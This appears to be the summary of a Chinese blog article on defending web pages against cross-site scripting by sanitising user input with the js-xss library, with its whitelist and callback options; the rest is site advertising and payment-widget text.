简介:XSS(跨站脚本)攻击是Web安全中的常见威胁,通过在动态页面中注入恶意脚本窃取用户敏感信息。JavaScript过滤XSS是一种关键的防御手段,核心在于对用户输入内容进行HTML转义与安全过滤。本文介绍使用 js-xss 库实现高效防护的方法,该库通过 sanitize 函数自动转义 <script> 标签、事件属性和危险CSS表达式,并支持自定义白名单策略和回调函数(如 onTag onAttr ),灵活控制允许的HTML结构。通过实际示例展示如何阻止 javascript: 协议等攻击向量,在保障功能的同时提升应用安全性。


本文还有配套的精品资源,点击获取
menu-r.4af5f7ec.gif

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

Stable-Diffusion-3.5

图片生成
Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型,相比 3.0 版本,它提升了图像质量、运行速度和硬件效率

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值